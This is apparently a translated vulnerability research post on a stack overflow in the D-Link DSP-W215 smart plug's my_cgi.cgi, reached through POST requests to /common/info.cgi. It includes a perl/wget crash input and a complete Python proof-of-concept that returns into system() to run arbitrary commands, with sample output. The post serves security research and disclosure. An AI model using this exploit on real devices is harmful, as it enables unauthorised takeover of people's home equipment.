
Hack D-Link DSP-W215 Smart Plug. Again
- Transfer

Recently, D-Link released firmware v1.02 for DSP-W215, in which the HNAP bug with buffer overflow in my_cgi.cgi was fixed. Although they quickly removed the firmware from the site: “You can update the firmware through a mobile application”, I managed to download it before my flight to Munich, and the 8-hour flight provided me with enough time for a qualitative analysis of the new firmware version.
Unfortunately, a bug with HNAP was not the only problem with this device. The lighttpd configuration file shows us that my_cgi.cgi is used to process some pages, not just HNAP requests:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
"/HNAP1" => "/www/my_cgi.cgi",
"/router_info.xml" => "/www/my_cgi.cgi",
"/post_login.xml" => "/www/my_cgi.cgi",
"/get_shareport_info" => "/www/my_cgi.cgi",
"/secmark1524.cgi" => "/www/my_cgi.cgi",
"/common/info.cgi" => "/www/my_cgi.cgi"
)
The main function in my_cgi.cgi has two code branches: one for processing HNAP requests, and the other for everything else:

If the HTTP request was not HNAP (for example, /common/info.cgi) and if it was a POST request, then in this case, my_cgi.cgi receives some HTTP headers, including Content-Length:

If Content-Length is greater than zero, then the get_input_entries function is called, which is responsible for reading and parsing POST parameters:

The get_input_entries function takes two arguments: pointer to the entries structure and the size of the POST data (ie Content-Length):
struct entries
{
char name[36]; // POST paramter name
char value[1025]; // POST parameter value
};
// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);
This is somewhat suspicious, as the parameter is passed to get_input_entries directly from the Content-Length header that was specified in the HTTP request, and the structure pointer points to a local variable on the stack in the main function:
int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes
content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));
num_entries = get_input_entries(&my_entries, content_length);
Of course, get_input_entries comprises a ring having fgetc (substantially the same as that caused HNAP-vulnerability) which parses the POST-request (names and values), and stores them in the «entries» structure:

Cycle fgetc

fgetc (stdin) within the loop for

Value the fgetc read is stored in name / value in the “entries” structure,
because the entries structure, in our case, is a stack variable in main, an excessively long POST value will cause the stack to overflow in get_input_entries, and, accordingly, in main.
In order to avoid a crash before returning to main (more on this in the next post), we need to exit the get_input_entries function as soon as possible. The easiest way to do this is by passing a single POST parameter “storage_path”, because the code in get_input_entries is skipped if this parameter occurs:

If we look at the main stack, we will see that the beginning of the “entries” structure is 0 × 74944 bytes further from the return address on the stack:

Due to the fact that the names from POST- The request is allocated 36 bytes in the structure, a POST value of 477472 (0 × 74944-36) bytes will overflow everything on the stack to the stored return address:
# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi

$ ra is overwritten with the value 0 × 41414141
Now we control $ ra, which means we can return to the same system () call that we used in the HNAP overflow in order to execute arbitrary commands:

the system () call at 0x00405CEC
Here is PoC:
#!/usr/bin/env python
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s " % sys.argv[0]
sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf = "storage_path=" # POST parameter name
buf += "D" * (0x74944-36) # Stack filler
buf += "\x00\x40\x5C\xEC" # Overwrite $ra
buf += "E" * 0x28 # Command to execute must be at $sp+0x28
buf += command # Command to execute
buf += "\x00" # NULL terminate the command
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
Which works great with the latest firmware version:
./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www